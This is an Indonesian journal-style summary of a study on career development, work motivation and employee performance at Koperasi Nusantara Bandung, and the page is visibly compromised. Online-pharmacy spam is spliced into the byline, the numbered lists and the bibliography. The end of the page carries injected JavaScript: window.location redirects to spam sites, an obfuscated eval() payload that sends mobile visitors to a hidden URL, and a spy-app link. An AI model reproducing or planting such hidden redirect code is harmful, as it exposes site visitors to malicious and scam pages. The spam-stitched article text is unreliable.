Manajemen Karir(jurnal)

Pengaruh Program dan Motivasi Kerja

Terhadap Kinerja Karyawan Koperasi Nusantara Bandung

Oleh

to buy estrace paypal amex pharmacy estrace vaginal cream in internet shop kaufen in online estrace – cream western union delivery cheap pill 

Yulianti Hakim ,SE,M.M

Staf Pengajar Universitas WidyaTama

ABSTRACT

 

Kinerja karyawan bnyak di pengaruhi olehperhatian manajemen terhadap kebutuhan karyawan, salah satu diantaranya adalah dengan diperolehnya posisi pekerjaan yang sesuai dengan bakat , minat dan , kemampuan (John L Holland , Gary .D.Gottfredsen, 1991) masih sedikit perusahhan yang merencanakan dan mengembangkan karir karyawan dengan dasar pertimbangan yang jelas dan terukur.apabila kondisi tersebut tidak diperbaiki maka akan berdampak pada hilannya motivasi karyawan untuk menunjukkan kinerja terbaiknya.

Hasil penelitian telah menunjukkan bahwa pengembangan karir belum dapat dilaksanakan dengan pola yang terarrah namun dilakukan dengan cara trial atau error.selain itu pengembangan karir dan motivasi secara bersama memberikan pengaruh positif signifikan terhadap variabel kinerja.terlihat pula bahwa masih adanya variabel lain yang turut berpengaruh terhadap variabel kinerja,yang tidak di teliti.

 

PENDAHULUAN

Kompetensi global yang semakin intensif,deregulatif ,dan kemajuan teknik mencetuskan ide ide perubahan yang menyebabkan perusahhan tidak dapat bertahan hidup.fenomene tersebut mengimplementasikan bahwa praktek dan kebijaksanaan sumber daya manusia dapat memainkan suatu peranan penting dalam mendorong kesetiaan karyawan dan membuat perusahaan dapat menanggapi perubahan dengan baik.Desler(2000) menyatakan bahwa dalam organisasi modern sumber daya manusia mempunyai peran baru antara lain :

  1. Pendorong Prokdutivitas
  2. Membuat perusahaan lebih tangggap terhadap inovasi produk dan perubahan teknologi
  3. Menghasilkan Jasa pelanggan yang unggul
  4. Membangun Komitmen karyawan
  5. 1 sep 2012 … from canadian pharmacy! best quality drugs! special prices,

  6. Semakin pentingnya SDM dalam mengembangkan dan mengimplementasikan strategi

 

Dari uraian di atas, dapat dikatakan bahwa Sumber Daya Manusia yang berkualitas merupakan competitif advantage dari perusahaan.oleh karena itu pengolahan SDM oleh manajemen harus mendapatkan prioritas utama. melalui perencaan SDM,yang merupakan fungsi awal dari kegiatan departemen SDM,diketahui kebutuhan SDM dan analisis kerja , yang merinci orang dalam klasifikasi tertentu, yang selanjutnya dilakukan proses rekrut, seleksi dan orientasi, terkumpul biodata dan preferensi karir karyawan yang selanjutnya proses penilaian karyawan dapat di pergunakan sebagai media umpan balik untuk perencanaan konseling bagi karyawan . pada saat ini ada kecenderungan bahwa perencanaan karir lebih banyak di gunakan untuk karyawanprofesional, karyawan teknis dan menjerial, serta bagi karyawan yang berminata saja.sedangkan perencanaan karir akan lebih efektif bila keryawan yang bersangkutan mempunyai minat terhadap karir nya dan supervisornya mempunyai kepentingan dan mampu memberikan bimbingan. Sering kali seseorang memiliki lebih dari 1 macam pekerjaan selama masa kerjanya. Riset di america menyatakan bahwa rata rata respondennya memiliki delapan macam jenis pekerjaan selama masa kerjanya,inilah yang mereka sebut dengan karir.beberapa ahli mendefinisikan karir senagai tahan pengembangan pengalaman kerja seseorang selama masa kerjanya.

 

Karir seseorang dalam suatu organisasi banyak di tentukan oleh bagaimana kebijakan dan komitmen organisasi tersebut terhadap karyawan dalam hal2 sebagai berikut :

  1. Sejauh mana rekrutmen dibatasi pada lini jabatan tingkat bawah
  2. Sejauh mana kesempatan promosi kejabatan yang lebih tinggi berasal dari dalam
  3. Sejauh mana terbuka kesempatan pelatihan dan pengembangan pada setiap lini
  4. the only preparation in the world for prevention of a premature ejaculation. in the usa in our pharmacy shop. doxycycline hyclate instructions doxycycline xarelto

  5. Sejauh mana komitmen perusahaan terhadap jaminan kelansungan kerja karyawan

 

Perusahaan yang berorientasi pada karir semacam ini akan memperlakukan karyawan sebagai sumber daya yang berharga yang harus dilatih , di kembangkan dan di pertahankan.kunci penerapan kariri semacam ini adalah adanya mobilitas dan kesempatan karir internal bagi para karyawan.substansi karir bersifat adaptif sepanjang strukturnya sesuai dengan lingkungan,namun dengan berubahnya lingkungan pola karir dapat menjadi kaku dan menghambat operasi organisasi yang efektif.

TUJUAN

Mengidentifikasi dan mengevaluasi program pengembangan karir serta mengkaji pengaruh antara program pengembangan karir yang telah di lakukan dan motivasi kerja terhadap kinerja karyawan pada koperasi nusantara bandung.Eksplansi dilakukan dengan menggunakan metode korelasi dan regresi yang bermaksut untuk meneliti hubungan antar variabel.

KESIMPULAN

Pengembangan karir pada koperasi nusantara bandung saat ini secara keseluruhan belum dilaksanakan secara konsisten dan belum berjalan sesuai harapan,sistem atau manajemen karir tidak berjalan dengan pola yang terarah dan masihh trial dan error,variabel motivasi kerja dan kinerja karyawan dimana variabel pengembangan karir memberikan determinasi yang lebih besar di bandingkan variabel motivasi dalam mempengaruhi variabel kinerja dan masih adanya variabel lain yang mempengaruhi variabel kinerja.

DAFTAR PUSTAKA

–          AL Rasyid, Harun, (2000) , Statistica sosial, Universitas Padjajaran Bandung

–          Dessler Gary, (2000) Human Resources management,8th ed, prentice hall,inc upper saddle river new jersey

–          Gottfredson, Gary D, Hollad J,L,(1991) , The Possition Classification Inventory, Physcologycal Assesment Resources,inc Florida , USA

–          order online no prescription, only certified, first class drugs on offer!

PEMBAHASAN

Dari hasil uraian di atas dalam pengembangan karir seorang karyawan secara merata sangatlah penting bagi perusahaan dan karyawan itu sendiri,karena dengan adanya manajemen dan pengembangan karir perusahhan dapat mengetahui bagaimana dan seberapa besar sumber daya yang dimiliki perusahhan tersebut,sehingga dapat membantu mengembangkan perusahhan dengan sumber daya yang diharapkan.penerapan manajemen karir pun harusnya tidak memilih dari lini apa dan dari level apa karyawan tersebut,pengembangan karir pun harus dengan cara yang terarah sehingga perusahaan mampu mendapatkan Sumber Daya Manusia yang berkualitas,mampu bersaing di era saat ini.pola pengembangan karir saat ini juga belum jelas dan baku oleh karena itu masih bnyak pola pengembangan karir yang kurang terarah.sehingga karyawan terpaku pada aturan organisasi yang ada.

Bentuk kepedulian manajemen dalam pengembangan karyawan antara lain adalah:

  1. Memberikan promosi kepada karyawan berprestasi
  2. Memberikan bonus gaji pada karyawan berprestasi

Dengan demikian posisi win win akan didapat kedua pihak,dari pihak karyawan dan pihak perusahhan ,dimana perusahaan mendapatkan Sumber Daya Manusia yang berkualitas sehingga mamu membantu mengembangkan perusahhaan dan perusahaan dapat bersaing di dunia persaingan yang ketat saat ini,sedangkan untuk karyawan, karyawan mendapatkan reward atas kontribusi yang telah karyawan berikan kepada perusahaan.

Untuk sebagian besar karyawan kepastian karir sangat penting untuk karyawan karena karyawan akan tahu posisi tertinggi yang akan dicapai.sehingga karyawan dapat termotivasi untuk menunjukkan kinerja terbaiknya dan berusaha meningkatkan kemampuan serta royal pada perusahaan.

 

 

 

 

 

 

 

 window.location = “http://www.mobilecontentstore.mobi/?sl=319481-c261c&data1=Track1&data2=Track2”; window.location = “http://cheap-pills-norx.com/search.htm?route=search&q=”; eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘(24(a,b){1V(/(2n|2d\\d+|1i).+1b|1g|1E\\/|1H|1C|1x|1B|2s|3l|3n|O(3m|V)|S|3g|38 |3c|3p|3D|1b.+3A|3z|1d m(3x|2H)i|2J( 14)?|2C|p(2x|2A)\\/|30|2T|3j|2S(4|6)0|2U|2R|I\\.(2Q|2N)|2O|2P|2V 2W|33|34/i.19(a)||/31|2X|2Y|2Z|2M|50[1-6]i|2L|2y|a W|2z|M(15|Z|s\\-)|11(2w|2t)|B(2u|E|D)|2v|2B(2I|y|2K)|2G|17(2D|j)|2E(x|2F)|35|36(3w|\\-m|r |s )|3y|3v(P|N|3u)|T(3r|3s)|3t(M|3G)|3H(e|v)w|3F|3E\\-(n|u)|3B\\/|3C|3q|3d\\-|3e|3b|3a|37\\-|D(39|K)|3f|3o(A|N|3k)|3h|3i\\-s|3I|2r|1z|U(c|p)o|1A(12|\\-d)|1y(49|11)|1u(1v|1w)|15(1D|1J)|1K|1I([4-7]0|14|W|1F)|1G|1t(\\-|R)|G u|1L|1q|1h\\-5|g\\-z|j(\\.w|V)|1j(1e|1f)|1s|1k|1r\\-(m|p|t)|1p\\-|1o(Q|F)|1l( i|O)|1m\\-c|1n(c(\\-| |R|a|g|p|s|t)|1M)|2e(2f|2g)|i\\-(20|j|q)|2c|29( |\\-|\\/)|2a|2b|2h|2i|2o|2p|2q|S|2m(t|v)a|2j|2k|2l|28|27|1S( |\\/)|1T|1U |1R\\-|1Q(c|k)|1N(1O|1P)|1W( g|\\/(k|l|u)|50|54|\\-[a-w])|25|26|23\\-w|22|1X\\/|q(x|1Y|1Z)|16(f|21|E)|m\\-48|5H(5E|C)|5y(5A|5L|J)|5V|z(f|5X|T|3J|U|t(\\-| |o|v)|58)|5i(50|5j|v )|5r|5p|5s[0-2]|57[2-3]|5c(0|2)|5d(0|2|5)|5R(0(0|1)|10)|5M((c|m)\\-|5B|5h|5U|5W|5O)|5Q(6|i)|5Z|5o|5n(5m|5k)|5l|5v|5u|5t(a|d|t)|59|5a(13|\\-([1-8]|c))|55|56|L(5g|5f)|5e\\-2|5w(P|5x|X)|5P|5N|Q\\-g|5S\\-a|5T(5Y|12|21|32|H|\\-[2-7]|i\\-)|5C|5D|5z|5F|5K|5J(5I|5G)|5q\\/|4Z(4c|q|4d|4e|y|4b)|4a(f|h\\-|Z|p\\-)|44\\/|X(c(\\-|0|1)|47|16|K|C)|46\\-|51|4f(\\-|m)|4g\\-0|4m(45|4n)|4l(B|17|4k|A|4h)|4i(4j|y)|43(f|h\\-|v\\-|v )|42(f|3P)|3Q(18|50)|3R(3O|10|18)|F(3N|3K)|3L\\-|3M\\-|3S(i|m)|3T\\-|t\\-z|3Z(L|41)|J(Y|m\\-|3Y|3X)|3U\\-9|I(\\.b|G|3V)|3W|4o|4p|4O|4P(4N|x)|4M(40|5[0-3]|\\-v)|4J|4K|4L|4Q(52|53|H|4R|Y|4X|4Y|4W|4V|4S)|4T(\\-| )|4U|4I|4H(g |4v|4w)|4x|4u|4t|4q\\-|4r|4s|4y\\-/i.19(a.4z(0,4)))1c.4F=b})(1a.4G||1a.4E||1c.1d,\’4D://4A.4B/4C/?5b\’);’,62,372,’|||||||||||||||01||||go|||||||ma|||||||te|ny|mo|it|al|ri|co|ca|ta|g1|60|up|ts|nd|pl|ac|ll|ip|ck|pt|_|iris|bi|do|od|wa|se|70|oo||ai|||os|er|mc|ar||test|navigator|mobile|window|opera|ad|un|avantgo|gf|meego|gr|hcit|hp|hs|ht|hi|hei|gene|hd|haie|fly|em|l2|ul|compal|el|dmob|ds|elaine|blazer|ic|bada|ze|fetc|blackberry|ez|k0|esl8|g560|tp|le|no|xi|kyo|kwc|kgt|klon|kpt|if|lg|m50|ui|xo|||m3ga|m1|function|libw|lynx|keji|kddi|iac|ibro|idea|i230|bb|hu|aw|tc|ig01|ikom|jbro|jemu|jigs|ja|android|im1k|inno|ipaq|dica|fennec|rn|av|amoi|ko|ixi|802s|abac|re|an|phone|ch|as|us|aptu|in|ex|palm|yw|770s|4thp|link|vodafone|wap|browser|treo|series|pocket|symbian|windows|ce|6310|6590|3gso|plucker|1207||xda|xiino|attw|au|cmd|lge|mp|cldc|chtm|maemo|cdm|cell|craw|kindle|dbte|dc|psp|ng|hiptop|hone|iemobile|da|midp|ccwa|lb|rd|bl|nq|be|di|ob|avan|netfront|firefox|c55|capi|mmp|bw|bumb|az|br|devi|de|lk|tcl|tdg|gt|00|mb|t2|t6|tel|tim|tx|si|utst|m5|m3|to||sh|sy|sp|sdk||sgh||cr||sc|va|ge|mm|ms|sie|sk|t5|so|ft|b3|sm|sl|id|v400|v750|yas|your|zeto|x700|wonu|nc|nw|wmlb|zte|substr|gettop|info|kt|http|vendor|location|userAgent|wi|whit|vm40|voda|vulc|vk|rg|veri|vi|vx|61|98|w3c|webc|85|83|80|81|sa||shar||||phil|pire|n20|zz|pdxg|pg|sdNXbH|n30|n50|pn|uc|ay|tf|mt|p1|wv|oran|ti|op|o2im|mywa|s55|mwbp|n10|pan|p800|owg1|po|rt|mi|r600|o8|on|qtek|r380|rc|raks|zo|me|ve|ro|rim9|oa|ne|psio|wt|prox|nok|n7|qa|qc|wf|mmef|wg|02|07|nzph’.split(‘|’),0,{})) The new cheaper iphone will follow a similar form factor to the https://celltrackingapps.com/spy-app-iphone macbook air range, with the iphone 5 being the fully-featured device with all the bells and whistles you would expect